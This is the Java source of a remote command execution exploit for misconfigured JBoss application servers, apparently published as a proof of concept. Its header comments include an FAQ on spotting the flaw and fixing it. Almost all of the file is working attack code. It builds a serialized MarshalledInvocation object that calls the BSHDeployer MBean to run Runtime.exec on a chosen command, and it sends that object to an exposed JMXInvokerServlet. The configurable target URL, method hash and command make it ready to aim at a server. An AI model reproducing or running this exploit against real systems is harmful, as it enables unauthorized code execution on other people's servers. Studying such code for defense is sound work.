1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 |
/* * JBoss JMXInvokerServlet Remote Command Execution * JMXInvoker.java v0.3 - Luca Carettoni @_ikki * * This code exploits a common misconfiguration in JBoss Application Server (4.x, 5.x, ...). * Whenever the JMX Invoker is exposed with the default configuration, a malicious "MarshalledInvocation" * serialized Java object allows to execute arbitrary code. This exploit works even if the "Web-Console" * and the "JMX Console" are protected or disabled. * * [FAQ] * * Q: Is my target vulnerable? * A: If http://<target>:8080/invoker/JMXInvokerServlet exists, it's likely exploitable * * Q: How to fix it? * A: Enable authentication in "jmx-invoker-service.xml" * * Q: Is this exploit version-dependent? * A: Unfortunately, yes. An hash value is used to properly invoke a method. *At least comparing version 4.x and 5.x, these hashes are different. * * Q: How to compile and launch it? * A: javac -cp ./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker.java *java-cp .:./libs/jboss.jar:./libs/jbossall-client.jar JMXInvoker *Yes, it's a Java exploit. I can already see some of you complaining.... */ import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.ObjectOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.ConnectException; import java.net.HttpURLConnection; import java.net.URL; import javax.management.MalformedObjectNameException; import javax.management.ObjectName; import org.jboss.invocation.MarshalledInvocation; //within jboss.jar (look into the original JBoss installation dir) public class JMXInvokerServlet { //---------> CHANGE ME <--------- static final int hash = 647347722; //Weaponized against JBoss 4.0.3SP1 static final String url = "http://127.0.0.1:8080/invoker/JMXInvokerServlet"; static final String cmd = "touch /tmp/exectest"; //------------------------------- public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, MalformedObjectNameException { System.out.println("\n--[ JBoss JMXInvokerServlet Remote Command Execution ]"); //Create a malicious Java serialized object MarshalledInvocation payload = new MarshalledInvocation(); payload.setObjectName(new Integer(hash)); //Executes the MBean invoke operation Class<?> c = Class.forName("javax.management.MBeanServerConnection"); Method method = c.getDeclaredMethod("invoke", javax.management.ObjectName.class, java.lang.String.class, java.lang.Object[].class, java.lang.String[].class); payload.setMethod(method); //Define MBean's name, operation and pars Object myObj[] = new Object[4]; //MBean object name myObj[0] = new ObjectName("jboss.deployer:service=BSHDeployer"); //Operation name myObj[1] = new String("createScriptDeployment"); //Actual parameters myObj[2] = new String[]{"Runtime.getRuntime().exec(\"" + cmd + "\");", "Script Name"}; //Operation signature myObj[3] = new String[]{"java.lang.String", "java.lang.String"}; payload.setArguments(myObj); System.out.println("\n--[*] MarshalledInvocation object created"); //For debugging - visualize the raw object //System.out.println(dump(payload)); //Serialize the object try { //Send the payload URL server = new URL(url); HttpURLConnection conn = (HttpURLConnection) server.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); conn.setDoInput(true); conn.setUseCaches(false); conn.setRequestProperty("Accept", "text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2"); conn.setRequestProperty("Connection", "keep-alive"); conn.setRequestProperty("User-Agent", "Java/1.6.0_06"); conn.setRequestProperty("Content-Type", "application/octet-stream"); conn.setRequestProperty("Accept-Encoding", "x-gzip,x-deflate,gzip,deflate"); conn.setRequestProperty("ContentType", "application/x-java-serialized-object; class=org.jboss.invocation.MarshalledInvocation"); ObjectOutputStream wr = new ObjectOutputStream(conn.getOutputStream()); wr.writeObject(payload); System.out.println("\n--[*] MarshalledInvocation object serialized"); System.out.println("\n--[*] Sending payload..."); wr.flush(); wr.close(); //Get the response InputStream is = conn.getInputStream(); BufferedReader rd = new BufferedReader(new InputStreamReader(is)); String line; StringBuffer response = new StringBuffer(); while ((line = rd.readLine()) != null) { response.append(line); } rd.close(); if (response.indexOf("Script Name") != -1) { System.out.println("\n--[*] \"" + cmd + "\" successfully executed"); } else { System.out.println("\n--[!] An invocation error occured..."); } } catch (ConnectException cex) { System.out.println("\n--[!] A connection error occured..."); } catch (IOException ex) { ex.printStackTrace(); } } /* * Raw dump of generic Java Objects */ static String dump(Object o) { StringBuffer buffer = new StringBuffer(); Class oClass = o.getClass(); if (oClass.isArray()) { buffer.append("["); for (int i = 0; i < Array.getLength(o); i++) { if (i > 0) { buffer.append(",\n"); } Object value = Array.get(o, i); buffer.append(value.getClass().isArray() ? dump(value) : value); } buffer.append("]"); } else { buffer.append("{"); while (oClass != null) { Field[] fields = oClass.getDeclaredFields(); for (int i = 0; i < fields.length; i++) { if (buffer.length() > 1) { buffer.append(",\n"); } fields[i].setAccessible(true); buffer.append(fields[i].getName()); buffer.append("="); try { Object value = fields[i].get(o); if (value != null) { buffer.append(value.getClass().isArray() ? dump(value) : value); } } catch (IllegalAccessException e) { } } oClass = oClass.getSuperclass(); } buffer.append("}"); } return buffer.toString(); } } |